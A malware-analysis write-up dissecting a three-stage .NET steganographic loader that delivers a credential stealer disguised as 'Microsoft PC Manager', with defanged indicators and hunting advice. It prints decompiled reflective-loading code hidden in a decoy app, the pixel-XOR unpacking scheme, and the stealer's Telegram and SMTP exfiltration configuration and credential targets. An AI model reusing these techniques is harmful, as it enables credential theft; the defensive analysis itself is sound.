~/f4n6 $ grep -r "Pixel-Stealing Malware: Unpacking a Three-Stage .NET Loader With Memory-Only Payload Stages" ./investigations/ --include="*.md"
infostealer

Pixel-Stealing Malware: Unpacking a Three-Stage .NET Loader With Memory-Only Payload Stages

Jeff Davies 11 Sep 2026 11 min read

The "mass" sample arrived as an AES-encrypted ZIP. What it turned out to be: a decoy Romanian engineering app, a fake Chinese security suite, a forged "Microsoft PC Manager" — and a Telegram-exfiltration credential stealer at the end of the chain.

TL;DR

  • A fresh, generator-built malware sample whose recorded PE timestamps fall within days of one another reaches a victim through a benign-looking .NET GUI application.
  • Stage 1 hides stage 2 inside the RGB values of an embedded bitmap; stage 2 hides stage 3 inside a 709 KB PNG resource, after a crop, a pixel re-ordering, and a rolling XOR keyed on two hex args from the previous stage.
  • The final payload masquerades as "Microsoft PC Manager", is protected with a commercial-style obfuscator (zero-width identifiers, flattened control flow, self-mutating string tables, an embedded LZMA decoder), and is configured to exfiltrate harvested credentials via the Telegram Bot API with an SMTP fallback.
  • The embedded stages were unpacked statically, without executing a single suspicious byte on the analyst's host. The chain was then confirmed behaviorally inside an isolated, network-severed Windows VM, including a full-memory dump taken by an attached debugger. Stages 2 and 3 were loaded from memory and were never written to disk by the loader chain.
  • The Telegram bot token and chat ID never materialized in plaintext. In the closed-network lab, the payload waited silently instead of taking the action that would decrypt them; the SMTP fallback configuration did become visible in memory.
  • High-confidence attribution: NOVA Stealer, a SnakeLogger fork, delivered through a custom three-stage .NET stego-loader.

Artifacts: all four artifacts are quarantined with hashes in the table at the end. Indicators are defanged throughout.


The intake

The sample was acquired via MalwareBazaar to test the capabilities of the malware mcp, that is being built

Archive:  f840ab67…8dfb.zip
  Length      Name
---------  ----
   910336  f840ab67…8dfb.exe        (entry name = its own SHA-256)

Ingested into the lab's quarantine store (read-only, path-addressed by SHA-256) and triaged as a 32-bit .NET WinForms executable, CanalAqueduct.

Stage 1: the aqueduct that isn't

Decompilation (ilspycmd in the platform's .NET analysis container) produced a strikingly benign picture a complete WinForms MDI application simulating an aqueduct over a canal, labels in Romanian ("Intensitate Vânt (Vale)", "Lansare Barcă"), resource strings for an XSD-validated XML "technical report", and process metadata claiming a Romanian university as the author. If you opened it, you'd get a modest desktop app. Nothing on the surface was wrong.

The wrongness was in the constructor. Buried in InitializeComponent() of the main form, immediately after the last UI control is configured:

Bitmap nJ = Resources.NJ;
Assembly assembly = typeof(Assembly).InvokeMember(
    "Loa" + "d".ToLower(), BindingFlags.InvokeMethod, null, null,
    new object[1] { Enumerable.ToArray(Kv3Runner.Run(nJ, 98304)) }) as Assembly;
Type type = assembly.GetExportedTypes()[0];
string[] array = back1.Replace("*01281**", "\u0001").Split(new char[1] { '\u0001' });
string[] array2 = new string[3] { array[1], array[2], "CanalAqueduct" };
MethodInfo methodInfo = type.GetMethods()[0];
LateBinding.LateCall((object)methodInfo, null, "Invoke",
    new object[2] { 0, array2 }, null, null);

Read that slowly, because it's the whole trick:

  1. Kv3Runner.Run(nJ, 98304) a helper that walks the pixels of an embedded bitmap in column-major order (x = index / height, y = index % height) and emits each pixel's [R,G,B] as three bytes, capped at 98,304 bytes exactly 96 KB.
  2. Those 96 KB are passed straight to Assembly.Load the name is split to "Loa" + "d" so a naive string scan sees nothing.
  3. The freshly loaded assembly's first public method gets invoked with arguments derived from another split-string artifact: *01281**716D7775*01281**636B69*01281** hex-decoded, those spell qmwu and cki, plus the parent's own namespace name.

capa concurred before we even reached the code: T1620 (Reflective Code Loading) plus "access .NET resource". The PE's entropy profile was high in .text, its only import the .NET stub mscoree!_CorExeMain, and the imphash matched the universal .NET boilerplate nothing unique at the lightweight-detection layer. The payload exists only as pixels.

Reconstructing the stego the parsing rabbit hole

Windows applications keep resources in the .NET runtime resource format, and its low-level on-disk structure is sparsely documented, so the extraction went through hand-building a parser: locate the ManifestResource, walk the #BEEFCACE magic + reader/set type names + resource name tables, and pull record values by type code. The parsing in this case yielded a fully understood structure:

Resource Reality
NJ (132,001 B) BinaryFormatter graph for a raw 182×181, 32-bpp BMP — the stage-2 carrier
h21 48×48 icon (decoy chrome)
pixelskali-style scan → …

But the real work was the "wait, that's not right" moments. The first naive dump produced a 10 MB MemoryStream-wrapped JPEG fragment a red herring that turned out to be two System.Drawing wrappers sitting inside the same resource blob. The definitive anchor: an uncompressed BMP header at +162 bytes, matching the loader's math to the pixel (182 × 181 × 4 bytes/pixel = 131,768 B ≈ the record's declared size). Uncompressed pixel data meant no decoder-fidelity risk: PIL-equivalents aside, reading the raw scanlines is deterministic.

Since stage 1's loader reads column-major with x advancing by height, the recovered byte stream is a 96 KB PE with MZ at offset 0. dnfile parsed the recovered image immediately: stage 2 confirmed.

Stage 2: fake security suite, real keys

Stage 2 is where the sample stops being decorative. It fronted as a Chinese system-utility suite (assembly company string for a well-known antivirus vendor, versioned like a real product). Layered obfuscation everywhere: method symbols lifted from real .NET type names (Justy, Mist, CausalitySource, LowestBreakIteration…), identifiers in obscure Unicode planes, self-mutating character arrays that in-place decode constants at runtime, SuppressIldasm, and switch-based control-flow flattening on nearly every function.

Following Justy(string, string, string) — the arguments stage 1 passed (qmwu, cki, CanalAqueduct) leads to a ResourceResolve hook and a fresh ResourceManager that fetches the carrier by name; the bait name "CanalAqueduct" is passed as the resource manager's base name so the hidden resolution stays inside the loader's own namespace.

Stage 2 then applies its own three-layer wrap on the resource:

  1. Crop RestoreOriginalBitmap trims the PNG from 606×654 to 429×429 by carving precisely 177 pixels of width and 225 of height that the builder padded onto the margins. (The exact padding numbers 177/225 are baked into stage 2 a nice generator-feeling constant.)
  2. Harvest 4 bytes/pixel (Color.ToArgb), column-major, x-outer.
  3. Decrypt Mist(data, key): out[i] = data[i] ^ (data[^1] ^ 0x70) ^ key[i % n], with the key string ("cki") expanded by an Encoding chosen through an obfuscated selector. Because the reset check runs against key.Length (3) while the key bytes may be 6 long, only the first three bytes get cycled.

The data[^1] ^ 0x70 self-keyed state byte is worth pausing on: the decryption seed is drawn from the ciphertext's own final byte. That's cheap to implement in the builder and annoying to pin down statically, because the "key" is really (cyclic string key) ⊕ (unknown ciphertext byte) and your first 200 brute-force variants do not include "the whole payload is right-aligned inside a bitmap we must crop first".

The known-plaintext shortcut

Rather than iterating over obfuscator semantics one wrapper at a time, the turning point was a linear-time structural probe: compiler-produced .NET PEs commonly begin with a recognizable DOS-header sequence here, 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00. XOR the candidate pixel stream with that expected header, and if your configuration is right the result is a repeating key group; if it's wrong, you get noise.

That single probe (span ~200 candidate configurations: channel layouts × scan orders × lengths × key encodings) collapsed the entire search space:

  • correct channel order: [B,G,R,A] (LE encoding of Color.ToArgb)
  • correct scan: column-major, x-outer
  • correct offset: skip exactly 4 bytes (the pixel-0 length header)
  • recovered key mod-3 group: 81 e2 81 → key triple [0x00, 0x63, 0x00] (first three bytes of UTF-16BE "cki"), state byte 0x81

Known-plaintext key recovery against your own format knowledge turned a one-evening guessing game into a one-line verification loop. It's also a candidate YARA-shaped behavioral tell for any future Kelvin-protocol analysis: pixel-buffer streams whose structure matches "PE DOS header XORed with a period-3 group".

The result: a 731,137-byte .NET assembly declared payload length conveniently present in pixel 0 that locks straight into Assembly.Load. Stage 3.

Stage 3: NOVA Stealer Masquerading as “Microsoft PC Manager”

The final payload's manifest claims AssemblyCompany "Microsoft Corporation", AssemblyProduct "PC Manager", AssemblyFileVersion 2025.5.0.18472 i.e., it pretends to be Microsoft's real PC-cleaning utility. Under the hood it's an entirely different organism:

  • Invisible-Unicode identifiers and a module-flag cache (<Module>{2bd6de72-…}.m_…) classic commercial-grade packing
  • A range-coded LZMA decoder embedded in the module (the payload boots its own decompressor before doing anything else)
  • AES-256-CBC with a full 32-byte key and 16-byte IV hardcoded into the decryptor routine (a separate decryption workstream; its exact inputs didn't unlock the resource blobs we tried statically)
  • Mersenne-twister PRNG, MD5 hashing of Unicode strings to derive crypto keys, runtime Assembly.Load chains, Reflection.Emit, unmanaged memory, and a mutex for singletons
  • Namespaces like PCManager.Networking, PCManager.Proxies, PCManager.Roles, PCManager.Tokens a client/victim model complete at the binary level even before we see the protocol

The chain was verified live: stage 1's loader calls into stage 2, which loads stage 3 into the same process. Stages 2 and 3 are never written to disk by the loader chain. Stage 2 invokes stage 3's entry via GetExportedTypes()[20].GetMethods()[29] metadata-index approximated by ordinal comparison and the whole thing idles silently, waiting for its configured network behavior.

The config, read straight out of memory

Reliable plaintext configuration often does not exist on disk in a packed binary; the strings are materialized by the obfuscator at first use. Rather than mimic the string decryptor line by line, the cleaner approach matched the platform's dynamic angle: run the chain inside the VM's debugger, then dump the process's full memory and sweep it.

That sweep revealed a large runtime-resolved configuration corpus directly:

(html template)              <html><head><title>Current IP Check</title>...
IP check                     http://checkip[.]dyndns[.]org/
GeoIP                        https://reallyfreegeoip[.]org/xml/   + "CountryName"
Telegram exfil base          https://api[.]telegram[.]org/bot
Telegram exfil verb          /sendDocument?chat_id= … &caption= … application/x-ms-dos-executable
SMTP fallback                mail[.]freetrend[.]cc
SMTP account                 nova_log@freetrend[.]cc
SMTP password                [REDACTED — retained in restricted case notes; never tested]
Structured report copy-to    pcompany157@gmail[.]com
Family marker                \NOVA     (account itself: "nova_log@"; exfil dir label)
Flags                        FTPEnabled=True, TGEnabled=True, SCREENSHOT, STOR
Exfil filenames              UserData.txt, {0}P.txt sections: " / Passwords /", "text/plain"
Fingerprint template         "=========PC INFO=========", IP:, Country:, HWID, UniqueID, DigitalProductID

...plus the full credential-store hit list, straight out of stealer-genre inventory:

  • Outlook registry account extraction (the classic 9375CFF0413111d3B88A00104B2A6676 profile keys twice, for Office 15 paths and Windows Messaging Subsystem)
  • HTML/Web/IMAP/POP3/SMTP password labels
  • Firefox logins.json, Thunderbird, SeaMonkey, Foxmail-family strings
  • FileZilla (both server software and client's recentservers)
  • Long-tail Chromium forks: Sleipnir5, Citrio, MapleStudio ChromePlus, CoolNova, Kinza, Sputnik, Falkon, BlackHawk, 7Star

The Telegram bot token and chat ID never decrypted, even with a 600-second run because the first send attempt never happened inside a network-severed sandbox. They sit in the obfuscator's encrypted resource and only materialize on a deciding action. The behavioral summary confirms the payload's network posturing: alive for the full run, zero children, zero sockets visible at 5-second sampling cadence, no observed persistence writes (no Run keys or scheduled tasks), and the only "dropped" artifacts were Windows Error Reporting records generated by the sandbox's own services (svchost failing a Store Agent scan, exactly as one expects inside a host-only, no-outbound lab).

Independent infrastructure corroboration

Live WHOIS, DNS, HTTPS, and SMTP-TLS checks on 2026-09-11 added an external timeline to the configuration recovered from memory:

  • freetrend[.]cc was registered on 2026-07-21, then updated on 2026-09-05, through Spaceship, Inc. (WHOIS record).
  • The apex and mail host resolved to 93[.]177[.]101[.]229; the address belongs to AS209604 / 2E Telekomunikasyon LTD STI in Türkiye (network record).
  • The public website returned only a generic, noindex,nofollow "waiting for content" placeholder.
  • A Let's Encrypt web certificate for freetrend[.]cc became valid at 2026-09-05 07:35:40 UTC. The SMTP service's generic, self-signed certificate (O=CompanyName, CN=etc) became valid 52 seconds later, at 07:36:32 UTC.
  • The domain authorized that same IP in SPF but used a neutral ?all fallback; DMARC requested quarantine.

This sequence domain registration → mail deployment → stage-2 timestamp → stage-1/stage-3 timestamps is consistent with infrastructure being prepared before the final sample was generated. It does not prove who controlled the domain, nor does it fully exclude a compromised server. No attempt was made to authenticate to the mailbox or test the recovered credential.

The platform story: why this analysis took hours, not weeks

Worth stating explicitly, because the pattern generalizes: the entire investigation ran on an orchestrationable malware workbench exposed as an MCP server, with three properties doing the heavy lifting.

  1. Never on the host. The sample went from disk → quarantine store (read-only, content-addressed) → isolated guest for execution. Every "run" was a snapshot-reverted, network-restricted VMware guest with an in-guest agent that launches the sample, watches it, and ships back a behavior report, dropped-file set, and screenshot. Host-side tooling imports and parses the artifacts, always.
  2. The pipeline is data, not scripts. Every stage of the chain .NET decompilation, resource extraction, capa runs ran as a job against a content-addressed sample. Results are deterministic and re-runnable; the analyst's terminal never touches a suspicious byte.
  3. A debugger that fits the target. The chain ended with an x86/WOW64 process, and the first attempt with a 64-bit debugger produced a 10.8 MB "header-only" dump (a classic WOW64 tooling pitfall that can be mistaken for anti-debug it isn't; re-touching with the 32-bit cdb produced a 176 MB full-memory dump containing the large runtime-resolved string corpus). The debugger attaches through an in-guest bridge over the host-only network, so dump/break/memory-read commands are all callable from the orchestration layer with no mouse ever involved.

For transparency: the first ~200 brute-force configurations of the stage-3 unwrap tried before the known-plaintext probe also ran as throwaway host-side scripts that loop (confidence-driven variant exploration) is exactly the kind of repetitive, bounded task that the platform's API + a generic agent handle well.

What to hunt for

  • Assembly-style masquerading: "Microsoft PC Manager", Kingsoft PC Manager, or any "utility suite" EXE delivered via password-protected ZIP with AES. The password being infected (malware-zoo convention) is itself a soft tell.
  • A .NET EXE whose only import is mscoree!_CorExeMain but which also carries high-entropy .text and unusually large System.Drawing references it never uses for display.
  • Reflective Assembly.Load fed by a Bitmap pixel harvest (T1620 + resource access in capa terms), split-method reflection ("Loa" + "d"), and self-mutating character arrays.
  • The exact convict chain here: a WinForms app whose form constructor, before the window is even shown, harvests an embedded bitmap's pixels.
  • Defanged IOCs for network detections (code-safe hosts; use with your own DNS policy):
    • mail[.]freetrend[.]cc (SMTP)
    • 93[.]177[.]101[.]229 (web and SMTP host at analysis time)
    • nova_log@freetrend[.]cc, pcompany157@gmail[.]com
    • reallyfreegeoip[.]org/xml/, checkip[.]dyndns[.]org
    • Telegram Bot API pattern: api[.]telegram[.]org/bot + sendDocument?chat_id=
  • Sample hashes (SHA-256, defang-free for scanners):
    • 803e268c3fa6937ff8ef6f60391f89a3b3ad0230d83b8f7feae12ebec618515b (AES zip)
    • f840ab670cff8c5a85b52a8133ad961aa8863abca0bcb1f12de1012e48d38dfb (stage 1)
    • 60bdee938635f42ec81f396de80e99f7bbbe69d6af4d60c265adaab3d1c90ced (stage 2)
    • db396795ce6b8dd39af506da2f5600248e9fcb18807aac400918544444e5a906 (stage 3)

Closing thoughts

Three masquerades, one payload. The Romanian student project, the Chinese security suite, and the Microsoft-branded cleanup utility are all skins for the same chain. The recorded stage-3 and stage-1 PE timestamps are nine seconds apart, with stage 2 dated two days earlier. PE timestamps can be manipulated, so this is corroborative rather than definitive; if trustworthy, the sequence is consistent with a staged generator pipeline re-piped through the packer before shipping.

That generator efficiency is today's adversary: template code, pixel-carrier steganography, and per-stage decoys, at near-zero marginal cost.

For defenders the asymmetry is favorable: the chain still ends in a known public API (Telegram bots) and an SMTP fallback because exfiltration over commodity services means the traffic ultimately has to look like normal HTTPS to someone's mail host or Telegram. Watch your network edge for bot-token-shaped traffic from non-browser processes, and treat utility-suite EXEs from password-protected archives as the default-bad they tend to be.

Analysis performed 2026-09-10/11; staged binaries retained in quarantine. No systems touched beyond the isolated analysis VM; no live C2 contacted at any point during this work.

Working on a difficult security investigation or building similar tooling? I’d be interested to hear from you.

AI Platform Investigation Email hello@f4n6.co.uk

Post this to LinkedIn
Formatting is converted automatically — headings, bullets, a link back & hashtags. Paste straight in.
J
Jeff Davies